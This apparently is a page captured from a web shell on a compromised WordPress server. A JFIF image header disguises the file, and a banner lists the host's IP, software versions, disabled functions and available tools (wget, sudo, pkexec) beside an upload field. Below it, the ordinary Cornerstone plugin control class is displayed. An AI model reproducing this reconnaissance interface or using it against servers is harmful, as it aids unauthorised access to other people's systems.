????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.117.172.251 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/plugins/cornerstone/includes/classes/controls/ |
Upload File : |
<?php class Cornerstone_Control { public $name; public $type; public $ui; public $options; public $context; public $suggest; public $priority; protected $default_context = 'all'; protected $default_value = ''; protected $default_options = array(); protected static $control_classes; final public static function factory( $name, $config ) { if ( isset( $config['mixin'] ) ) { return self::mixinFactory( $name, $config ); } if ( isset( $config['group'] ) && $config['group'] === true ) { return self::groupFactory( $name, $config ); } $config = wp_parse_args( $config, array( 'type' => 'text', 'ui' => array(), 'options' => array(), 'context' => null, 'suggest' => null, 'condition' => array(), 'priority' => null, 'group' => null, 'key' => null, ) ); $class_name = self::getControlClass( $config['type'] ); return new $class_name( $name, $config ); } final public static function mixinFactory( $name, $config = array() ) { $mixins = CS()->config_group( 'controls/mixins' ); $type = $config['mixin']; unset( $config['mixin'] ); if ( !isset( $mixins[$type] ) ) return new WP_Error( 'cornerstone', "Mixin '$type' not found." ); // Set a maximium merge depth. This allows top level keys to be merged, // but allows full arrays to be overriden at the control option level. $depth = 3; // For groups, we need an additional level of merge depth if ( ( isset( $config['group'] ) && $config['group'] === true ) || ( isset( $mixins[$type]['group'] ) && $mixins[$type]['group'] === true ) ) $depth = 4; $merged = cs_deep_array_merge( $mixins[$type], $config, $depth ); return self::factory( $name, $merged ); } final public static function groupFactory( $name, $config ) { unset( $config['group'] ); $mapped = array(); foreach ($config as $key => $value) { $child_name = "{$name}_$key"; $mapped[$child_name] = $value; $mapped[$child_name]['group'] = $name; } $controls = array(); foreach ( $mapped as $key => $value) { $controls[] = self::factory( $key, $value ); } return $controls; } final public static function getControlClass( $type ) { if ( !isset( self::$control_classes ) ) { self::$control_classes = apply_filters( 'cornerstone_control_types', array( 'checkbox' => 'Cornerstone_Control_Checkbox', 'choose' => 'Cornerstone_Control_Choose', 'color' => 'Cornerstone_Control_Color', 'code-editor' => 'Cornerstone_Control_Code_Editor', 'date' => 'Cornerstone_Control_Date', 'dimensions' => 'Cornerstone_Control_Dimensions', 'editor' => 'Cornerstone_Control_Editor', 'icon-choose' => 'Cornerstone_Control_Icon_Choose', 'image' => 'Cornerstone_Control_Image', 'info' => 'Cornerstone_Control_Info', 'multi-choose' => 'Cornerstone_Control_Multi_Choose', 'multi-select' => 'Cornerstone_Control_Multi_Select', 'number' => 'Cornerstone_Control_Number', 'select' => 'Cornerstone_Control_Select', 'sortable' => 'Cornerstone_Control_Sortable', 'text' => 'Cornerstone_Control_Text', 'textarea' => 'Cornerstone_Control_Textarea', 'toggle' => 'Cornerstone_Control_Toggle', ) ); } $class_name = 'Cornerstone_Control_Undefined'; if ( isset(self::$control_classes[$type]) && class_exists( self::$control_classes[$type] ) ) { $class_name = self::$control_classes[$type]; } return $class_name; } public function __construct( $name, $config ) { $this->name = $name; $this->type = $config['type']; $this->ui = $config['ui']; $this->options = wp_parse_args( $config['options'], $this->default_options ); $this->context = is_null( $config['context'] ) ? $this->default_context : $config['context']; $this->suggest = $this->transformSuggestion( $config['suggest'] ); $this->condition = $config['condition']; $this->priority = $config['priority']; $this->group = $config['group']; $this->key = is_null( $config['key'] ) ? $this->name : $config['key']; } final public function model_data() { $model = array( 'name' => $this->name, 'type' => $this->type, 'ui' => $this->ui, 'context' => $this->context ); if ( !is_null( $this->key ) ) $model['key'] = $this->key; if ( !empty( $this->options ) ) $model['options'] = $this->options; if ( !empty( $this->condition ) ) $model['condition'] = $this->expandConditions( $this->condition ); if ( !is_null( $this->priority ) ) $model['priority'] = $this->priority; if ( !is_null( $this->group ) ) $model['group'] = $this->group; return $model; } public function expandConditions( $conditions = array() ) { $expanded = array(); foreach ( $conditions as $key => $value ) { $new_key = str_replace( 'group::', "{$this->group}_", $key ); $expanded[$new_key] = $value; } return $expanded; } public function transformSuggestion( $suggestion ) { return $suggestion; } public function transform_for_shortcode( $data ) { return $data; } public function sanitize( $data ) { return self::default_sanitize( $data ); } public static function sanitize_html( $data ) { return CS()->common()->sanitize_html( $data ); } // Used in cases where a control doesn't specify a sanitization method, // or a definition can not be identified public static function default_sanitize( $item, $key = '' ) { if ( is_bool( $item ) ) return $item; if ( is_array( $item ) ) { $sanitized = array(); foreach ($item as $key => $value) { $key = ( is_int( $key ) ) ? $key : sanitize_text_field( $key ); $sanitized[$key] = self::default_sanitize( $value, $key ); } return $sanitized; } if ( !is_scalar( $item ) || is_null( $item ) ) return ''; return sanitize_text_field( (string) $item ); } public static function kses_tags( ) { if ( !isset( self::$kses_tags ) ) { self::$kses_tags = wp_kses_allowed_html( 'post' ); self::$kses_tags['iframe'] = array ( 'align' => true, 'frameborder' => true, 'height' => true, 'width' => true, 'sandbox' => true, 'seamless' => true, 'scrolling' => true, 'srcdoc' => true, 'src' => true, 'class' => true, 'id' => true, 'style' => true, 'border' => true, 'list' => true //YouTube embeds ); } return self::$kses_tags; } }